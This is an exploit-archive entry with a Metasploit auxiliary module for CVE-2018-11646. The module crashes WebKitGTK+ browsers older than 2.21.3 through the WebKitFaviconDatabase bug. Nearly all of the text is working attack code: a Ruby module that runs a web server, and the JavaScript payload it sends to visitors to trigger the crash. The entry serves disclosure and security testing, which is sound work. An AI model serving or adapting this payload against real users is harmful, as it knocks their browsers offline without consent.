WebKitGTK+ < 2.21.3 WebKitFaviconDatabase DoS

2018.06.11
Credit: Dhiraj Mishra
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

## # Title: WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' DoS # Author: Dhiraj Mishra # Date: 2018-06-11 # CVE: 2018-11646 # # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => "WebKitGTK+ WebKitFaviconDatabase DoS", 'Description' => %q( This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful, it could lead to application crash, resulting in denial of service. ), 'License' => MSF_LICENSE, 'Author' => [ 'Dhiraj Mishra', # Original discovery, disclosure 'Hardik Mehta', # Original discovery, disclosure 'Zubin Devnani', # Original discovery, disclosure 'Manuel Caballero' #JS Code ], 'References' => [ ['EDB', '44842'], ['CVE', '2018-11646'], ['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'], ['URL', 'https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html'] ], 'DisclosureDate' => 'Jun 03 2018', 'Actions' => [[ 'WebServer' ]], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer' ) ) end def run exploit # start http server end def setup @html = <<-JS <script type="text/javascript"> win = window.open("WIN", "WIN"); window.open("http://example.com/", "WIN"); win.document.execCommand('stop'); win.document.write("HelloWorld"); win.document.close(); </script> JS end def on_request_uri(cli, _request) print_status('Sending response') send_response(cli, @html) end end


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